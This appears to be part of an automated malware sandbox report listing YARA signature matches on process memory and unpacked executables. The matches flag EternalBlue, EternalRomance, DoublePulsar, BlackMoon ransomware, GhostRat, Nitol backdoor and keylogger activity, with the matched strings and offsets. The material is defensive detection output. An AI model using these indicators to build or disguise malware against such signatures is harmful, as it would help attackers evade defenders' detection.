0x4d77c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x5071c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x536c4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x56b20:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x59fa0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x60b9c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x62354:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x63928:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6a4fc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6bcb4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xcef2a:$x1: [-] Error: Exploit choice not supported for target OS!! 0xcebd5:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xcecae:$x3: [-] Error: Backdoor not present on target 0xcd959:$x4: ********* TARGET ARCHITECTURE IS X64 **********
00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x13ef3:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x9f013:$s4: msvcrtd.dll 0x9fd6d:$s4: msvcrtd.dll 0x13f0f:$s5: %d.%d.%d.%d%c
00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x16c67:$ci1: CNEFileIO_ 0x16c7a:$ci1: CNEFileIO_ 0x16c8e:$ci1: CNEFileIO_ 0x16ca3:$ci1: CNEFileIO_ 0x16cb8:$ci1: CNEFileIO_ 0x16cce:$ci1: CNEFileIO_ 0x16ce0:$ci1: CNEFileIO_ 0x16cfb:$ci1: CNEFileIO_ 0x16d0f:$ci1: CNEFileIO_ 0x16d24:$ci1: CNEFileIO_ 0x16d37:$ci1: CNEFileIO_ 0x16d49:$ci1: CNEFileIO_ 0x16d5c:$ci1: CNEFileIO_ 0x16d70:$ci1: CNEFileIO_ 0x16d85:$ci1: CNEFileIO_ 0x16d98:$ci1: CNEFileIO_ 0x16db2:$ci1: CNEFileIO_ 0x16dcc:$ci1: CNEFileIO_ 0x16de0:$ci1: CNEFileIO_ 0x16df3:$ci1: CNEFileIO_ 0x16e07:$ci1: CNEFileIO_
00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000008.00000003.1952945282.0000000002E53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: 38iGnQnL33.exe PID: 4948	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: MSSQLH.exe PID: 6516	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: MpMgSvc.exe PID: 2800	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
Process Memory Space: MpMgSvc.exe PID: 2800	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: MpMgSvc.exe PID: 2800	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MpMgSvc.exe PID: 2800	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
Process Memory Space: MpMgSvc.exe PID: 2800	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x1b6ec:$x1: [-] Error: Exploit choice not supported for target OS!! 0x1bf91:$x1: [-] Error: Exploit choice not supported for target OS!! 0x1b3e8:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x1b4b0:$x3: [-] Error: Backdoor not present on target 0x19ebb:$x4: ********* TARGET ARCHITECTURE IS X64 **********
Process Memory Space: MpMgSvc.exe PID: 2800	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x7cde:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x7d30:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x1361c:$s4: msvcrtd.dll 0x7cf8:$s5: %d.%d.%d.%d%c
Process Memory Space: MpMgSvc.exe PID: 2800	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x8d24:$ci1: CNEFileIO_ 0x8d37:$ci1: CNEFileIO_ 0x8d4b:$ci1: CNEFileIO_ 0x8d60:$ci1: CNEFileIO_ 0x8d75:$ci1: CNEFileIO_ 0x8d8b:$ci1: CNEFileIO_ 0x8d9d:$ci1: CNEFileIO_ 0x8db8:$ci1: CNEFileIO_ 0x8dcc:$ci1: CNEFileIO_ 0x8de1:$ci1: CNEFileIO_ 0x8df4:$ci1: CNEFileIO_ 0x8e06:$ci1: CNEFileIO_ 0x8e19:$ci1: CNEFileIO_ 0x8e2d:$ci1: CNEFileIO_ 0x8e42:$ci1: CNEFileIO_ 0x8e55:$ci1: CNEFileIO_ 0x8e6f:$ci1: CNEFileIO_ 0x8e89:$ci1: CNEFileIO_ 0x8e9d:$ci1: CNEFileIO_ 0x8eb0:$ci1: CNEFileIO_ 0x8ec4:$ci1: CNEFileIO_
Process Memory Space: Hooks.exe PID: 2828	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: Hooks.exe PID: 2828	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 3980	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: svchost.exe PID: 3980	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: Wmicc.exe PID: 17920	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: Wmicc.exe PID: 17920	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.MpMgSvc.exe.63d35e.5.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x2329:$ci2: coli_ 0x2335:$ci2: coli_ 0x2341:$ci2: coli_ 0x2351:$ci2: coli_ 0x235c:$ci2: coli_ 0x236c:$ci2: coli_ 0x237d:$ci3: mainWrapper
1.0.MSSQLH.exe.44bf60.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
1.0.MSSQLH.exe.44bf60.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x1ca40:$s1: blackmoon 0x1ca80:$s2: BlackMoon RunTime Error:
0.2.38iGnQnL33.exe.45a23e.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.38iGnQnL33.exe.45a23e.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x27a71:$s1: blackmoon 0x27ab1:$s2: BlackMoon RunTime Error:
1.0.MSSQLH.exe.440f2f.3.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
1.0.MSSQLH.exe.440f2f.3.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x27a71:$s1: blackmoon 0x27ab1:$s2: BlackMoon RunTime Error:
8.2.svchost.exe.11775a08.4.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
8.2.svchost.exe.11775a08.4.raw.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x22403:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x224a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x22384:$s1: \Program Files\Internet Explorer\iexplore.exe 0x222a6:$s5: Accept-Language: zh-cn
8.2.svchost.exe.11775a08.4.raw.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2317c:$x4: Http/1.1 403 Forbidden 0x2317c:$s5: Http/1.1 403 Forbidden
8.2.svchost.exe.11775a08.4.raw.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1b701:$n1: .htmGET 0x1b729:$n1: .htmGET 0x1b76c:$n1: .htmGET 0x1b7bc:$n1: .htmGET 0x1b7c9:$n1: .htmGET 0x1b7f1:$n1: .htmGET 0x1b80b:$n1: .htmGET 0x1b833:$n1: .htmGET 0x1b876:$n1: .htmGET 0x1b8c6:$n1: .htmGET 0x1b8d3:$n1: .htmGET 0x1b8fb:$n1: .htmGET 0x1b915:$n1: .htmGET 0x1b93d:$n1: .htmGET 0x1b980:$n1: .htmGET 0x1b9d0:$n1: .htmGET 0x1b9dd:$n1: .htmGET 0x1ba05:$n1: .htmGET 0x1ba1f:$n1: .htmGET 0x1ba47:$n1: .htmGET 0x1ba8a:$n1: .htmGET
8.2.svchost.exe.11775a08.4.raw.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1b709:$s1: %$#@!.aspGET ^&().htmlGET 0x1b731:$s1: %$#@!.aspGET ^&().htmlGET 0x1b74c:$s1: %$#@!.aspGET ^&().htmlGET 0x1b774:$s1: %$#@!.aspGET ^&().htmlGET 0x1b78f:$s1: %$#@!.aspGET ^&().htmlGET 0x1b7d1:$s1: %$#@!.aspGET ^&().htmlGET 0x1b813:$s1: %$#@!.aspGET ^&().htmlGET 0x1b83b:$s1: %$#@!.aspGET ^&().htmlGET 0x1b856:$s1: %$#@!.aspGET ^&().htmlGET 0x1b87e:$s1: %$#@!.aspGET ^&().htmlGET 0x1b899:$s1: %$#@!.aspGET ^&().htmlGET 0x1b8db:$s1: %$#@!.aspGET ^&().htmlGET 0x1b91d:$s1: %$#@!.aspGET ^&().htmlGET 0x1b945:$s1: %$#@!.aspGET ^&().htmlGET 0x1b960:$s1: %$#@!.aspGET ^&().htmlGET 0x1b988:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9a3:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9e5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba6a:$s1: %$#@!.aspGET ^&*().htmlGET
63.0.Wmicc.exe.49fae8.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
63.0.Wmicc.exe.49fae8.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0xc2fb4:$s1: blackmoon 0xc2ff4:$s2: BlackMoon RunTime Error:
4.2.MpMgSvc.exe.55c3c8.3.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
4.2.MpMgSvc.exe.55c3c8.3.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0xc2fb4:$s1: blackmoon 0xc2ff4:$s2: BlackMoon RunTime Error:
0.2.38iGnQnL33.exe.41930f.3.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.38iGnQnL33.exe.41930f.3.raw.unpack	APT17_Sample_FXSST_DLL	Detects Samples related to APT17 activity - file FXSST.DLL	Florian Roth	0x66694:$x1: Microsoft? Windows? Operating System 0x279a4:$s1: GetLastActivePopup 0x29fd8:$s1: GetLastActivePopup 0x2927a:$s2: Sleep 0x3ffd1:$s2: Sleep 0x47df5:$s2: Sleep 0x5c276:$s2: Sleep 0x64096:$s2: Sleep 0x67aa1:$s2: Sleep 0x68517:$s2: Sleep 0x2933a:$s3: GetModuleFileName 0x40357:$s3: GetModuleFileName 0x5c5a4:$s3: GetModuleFileName 0x47f2d:$s4: VirtualProtect 0x641ce:$s4: VirtualProtect 0x292b0:$s5: HeapAlloc 0x4036d:$s5: HeapAlloc 0x47f0f:$s5: HeapAlloc 0x5c5ba:$s5: HeapAlloc 0x641b0:$s5: HeapAlloc 0x685df:$s5: HeapAlloc
0.2.38iGnQnL33.exe.41930f.3.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x689a0:$s1: blackmoon 0x689e0:$s2: BlackMoon RunTime Error:
7.2.Hooks.exe.1b97cd6.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
7.2.Hooks.exe.1b97cd6.5.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
7.2.Hooks.exe.1b97cd6.5.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.Hooks.exe.1b97cd6.5.raw.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x22403:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x224a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x22384:$s1: \Program Files\Internet Explorer\iexplore.exe 0x222a6:$s5: Accept-Language: zh-cn
7.2.Hooks.exe.1b97cd6.5.raw.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2317c:$x4: Http/1.1 403 Forbidden 0x2317c:$s5: Http/1.1 403 Forbidden
7.2.Hooks.exe.1b97cd6.5.raw.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1b701:$n1: .htmGET 0x1b729:$n1: .htmGET 0x1b76c:$n1: .htmGET 0x1b7bc:$n1: .htmGET 0x1b7c9:$n1: .htmGET 0x1b7f1:$n1: .htmGET 0x1b80b:$n1: .htmGET 0x1b833:$n1: .htmGET 0x1b876:$n1: .htmGET 0x1b8c6:$n1: .htmGET 0x1b8d3:$n1: .htmGET 0x1b8fb:$n1: .htmGET 0x1b915:$n1: .htmGET 0x1b93d:$n1: .htmGET 0x1b980:$n1: .htmGET 0x1b9d0:$n1: .htmGET 0x1b9dd:$n1: .htmGET 0x1ba05:$n1: .htmGET 0x1ba1f:$n1: .htmGET 0x1ba47:$n1: .htmGET 0x1ba8a:$n1: .htmGET
7.2.Hooks.exe.1b97cd6.5.raw.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1b709:$s1: %$#@!.aspGET ^&().htmlGET 0x1b731:$s1: %$#@!.aspGET ^&().htmlGET 0x1b74c:$s1: %$#@!.aspGET ^&().htmlGET 0x1b774:$s1: %$#@!.aspGET ^&().htmlGET 0x1b78f:$s1: %$#@!.aspGET ^&().htmlGET 0x1b7d1:$s1: %$#@!.aspGET ^&().htmlGET 0x1b813:$s1: %$#@!.aspGET ^&().htmlGET 0x1b83b:$s1: %$#@!.aspGET ^&().htmlGET 0x1b856:$s1: %$#@!.aspGET ^&().htmlGET 0x1b87e:$s1: %$#@!.aspGET ^&().htmlGET 0x1b899:$s1: %$#@!.aspGET ^&().htmlGET 0x1b8db:$s1: %$#@!.aspGET ^&().htmlGET 0x1b91d:$s1: %$#@!.aspGET ^&().htmlGET 0x1b945:$s1: %$#@!.aspGET ^&().htmlGET 0x1b960:$s1: %$#@!.aspGET ^&().htmlGET 0x1b988:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9a3:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9e5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba6a:$s1: %$#@!.aspGET ^&*().htmlGET
7.2.Hooks.exe.1b97cd6.5.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x24658:$s1: blackmoon 0x24698:$s2: BlackMoon RunTime Error:
0.2.38iGnQnL33.exe.41930f.3.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.38iGnQnL33.exe.41930f.3.unpack	APT17_Sample_FXSST_DLL	Detects Samples related to APT17 activity - file FXSST.DLL	Florian Roth	0x66694:$x1: Microsoft? Windows? Operating System 0x279a4:$s1: GetLastActivePopup 0x29fd8:$s1: GetLastActivePopup 0x2927a:$s2: Sleep 0x3ffd1:$s2: Sleep 0x47df5:$s2: Sleep 0x5c276:$s2: Sleep 0x64096:$s2: Sleep 0x67aa1:$s2: Sleep 0x68517:$s2: Sleep 0x2933a:$s3: GetModuleFileName 0x40357:$s3: GetModuleFileName 0x5c5a4:$s3: GetModuleFileName 0x47f2d:$s4: VirtualProtect 0x641ce:$s4: VirtualProtect 0x292b0:$s5: HeapAlloc 0x4036d:$s5: HeapAlloc 0x47f0f:$s5: HeapAlloc 0x5c5ba:$s5: HeapAlloc 0x641b0:$s5: HeapAlloc 0x685df:$s5: HeapAlloc
0.2.38iGnQnL33.exe.41930f.3.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x689a0:$s1: blackmoon 0x689e0:$s2: BlackMoon RunTime Error:
1.0.MSSQLH.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
1.0.MSSQLH.exe.400000.0.unpack	APT17_Sample_FXSST_DLL	Detects Samples related to APT17 activity - file FXSST.DLL	Florian Roth	0x66694:$x1: Microsoft? Windows? Operating System 0x279a4:$s1: GetLastActivePopup 0x29fd8:$s1: GetLastActivePopup 0x2927a:$s2: Sleep 0x3ffd1:$s2: Sleep 0x47df5:$s2: Sleep 0x5c276:$s2: Sleep 0x64096:$s2: Sleep 0x67aa1:$s2: Sleep 0x68517:$s2: Sleep 0x2933a:$s3: GetModuleFileName 0x40357:$s3: GetModuleFileName 0x5c5a4:$s3: GetModuleFileName 0x47f2d:$s4: VirtualProtect 0x641ce:$s4: VirtualProtect 0x292b0:$s5: HeapAlloc 0x4036d:$s5: HeapAlloc 0x47f0f:$s5: HeapAlloc 0x5c5ba:$s5: HeapAlloc 0x641b0:$s5: HeapAlloc 0x685df:$s5: HeapAlloc
1.0.MSSQLH.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x689a0:$s1: blackmoon 0x689e0:$s2: BlackMoon RunTime Error:
8.2.svchost.exe.11775a08.4.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
8.2.svchost.exe.11775a08.4.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
8.2.svchost.exe.11775a08.4.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.2.svchost.exe.11775a08.4.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x21603:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x216a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x21584:$s1: \Program Files\Internet Explorer\iexplore.exe 0x214a6:$s5: Accept-Language: zh-cn
8.2.svchost.exe.11775a08.4.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2237c:$x4: Http/1.1 403 Forbidden 0x2237c:$s5: Http/1.1 403 Forbidden
8.2.svchost.exe.11775a08.4.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1ab01:$n1: .htmGET 0x1ab29:$n1: .htmGET 0x1ab6c:$n1: .htmGET 0x1abbc:$n1: .htmGET 0x1abc9:$n1: .htmGET 0x1abf1:$n1: .htmGET 0x1ac0b:$n1: .htmGET 0x1ac33:$n1: .htmGET 0x1ac76:$n1: .htmGET 0x1acc6:$n1: .htmGET 0x1acd3:$n1: .htmGET 0x1acfb:$n1: .htmGET 0x1ad15:$n1: .htmGET 0x1ad3d:$n1: .htmGET 0x1ad80:$n1: .htmGET 0x1add0:$n1: .htmGET 0x1addd:$n1: .htmGET 0x1ae05:$n1: .htmGET 0x1ae1f:$n1: .htmGET 0x1ae47:$n1: .htmGET 0x1ae8a:$n1: .htmGET
8.2.svchost.exe.11775a08.4.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1ab09:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab31:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab4c:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab74:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab8f:$s1: %$#@!.aspGET ^&().htmlGET 0x1abd1:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac13:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac3b:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac56:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac7e:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac99:$s1: %$#@!.aspGET ^&().htmlGET 0x1acdb:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad1d:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad45:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad60:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad88:$s1: %$#@!.aspGET ^&().htmlGET 0x1ada3:$s1: %$#@!.aspGET ^&().htmlGET 0x1ade5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae6a:$s1: %$#@!.aspGET ^&*().htmlGET
8.2.svchost.exe.11775a08.4.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x23858:$s1: blackmoon 0x23898:$s2: BlackMoon RunTime Error:
1.2.MSSQLH.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
1.2.MSSQLH.exe.400000.0.unpack	APT17_Sample_FXSST_DLL	Detects Samples related to APT17 activity - file FXSST.DLL	Florian Roth	0x66694:$x1: Microsoft? Windows? Operating System 0x279a4:$s1: GetLastActivePopup 0x29fd8:$s1: GetLastActivePopup 0x2927a:$s2: Sleep 0x3ffd1:$s2: Sleep 0x47df5:$s2: Sleep 0x5c276:$s2: Sleep 0x64096:$s2: Sleep 0x67aa1:$s2: Sleep 0x68517:$s2: Sleep 0x2933a:$s3: GetModuleFileName 0x40357:$s3: GetModuleFileName 0x5c5a4:$s3: GetModuleFileName 0x47f2d:$s4: VirtualProtect 0x641ce:$s4: VirtualProtect 0x292b0:$s5: HeapAlloc 0x4036d:$s5: HeapAlloc 0x47f0f:$s5: HeapAlloc 0x5c5ba:$s5: HeapAlloc 0x641b0:$s5: HeapAlloc 0x685df:$s5: HeapAlloc
1.2.MSSQLH.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x689a0:$s1: blackmoon 0x689e0:$s2: BlackMoon RunTime Error:
7.2.Hooks.exe.1b97cd6.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
7.2.Hooks.exe.1b97cd6.5.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
7.2.Hooks.exe.1b97cd6.5.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.Hooks.exe.1b97cd6.5.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x21603:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x216a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x21584:$s1: \Program Files\Internet Explorer\iexplore.exe 0x214a6:$s5: Accept-Language: zh-cn
7.2.Hooks.exe.1b97cd6.5.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2237c:$x4: Http/1.1 403 Forbidden 0x2237c:$s5: Http/1.1 403 Forbidden
7.2.Hooks.exe.1b97cd6.5.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1ab01:$n1: .htmGET 0x1ab29:$n1: .htmGET 0x1ab6c:$n1: .htmGET 0x1abbc:$n1: .htmGET 0x1abc9:$n1: .htmGET 0x1abf1:$n1: .htmGET 0x1ac0b:$n1: .htmGET 0x1ac33:$n1: .htmGET 0x1ac76:$n1: .htmGET 0x1acc6:$n1: .htmGET 0x1acd3:$n1: .htmGET 0x1acfb:$n1: .htmGET 0x1ad15:$n1: .htmGET 0x1ad3d:$n1: .htmGET 0x1ad80:$n1: .htmGET 0x1add0:$n1: .htmGET 0x1addd:$n1: .htmGET 0x1ae05:$n1: .htmGET 0x1ae1f:$n1: .htmGET 0x1ae47:$n1: .htmGET 0x1ae8a:$n1: .htmGET
7.2.Hooks.exe.1b97cd6.5.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1ab09:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab31:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab4c:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab74:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab8f:$s1: %$#@!.aspGET ^&().htmlGET 0x1abd1:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac13:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac3b:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac56:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac7e:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac99:$s1: %$#@!.aspGET ^&().htmlGET 0x1acdb:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad1d:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad45:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad60:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad88:$s1: %$#@!.aspGET ^&().htmlGET 0x1ada3:$s1: %$#@!.aspGET ^&().htmlGET 0x1ade5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae6a:$s1: %$#@!.aspGET ^&*().htmlGET
7.2.Hooks.exe.1b97cd6.5.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x23858:$s1: blackmoon 0x23898:$s2: BlackMoon RunTime Error:
11.2.svchost.exe.400000.0.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
11.2.svchost.exe.400000.0.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x22403:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x224a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x22384:$s1: \Program Files\Internet Explorer\iexplore.exe 0x222a6:$s5: Accept-Language: zh-cn
11.2.svchost.exe.400000.0.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2317c:$x4: Http/1.1 403 Forbidden 0x2317c:$s5: Http/1.1 403 Forbidden
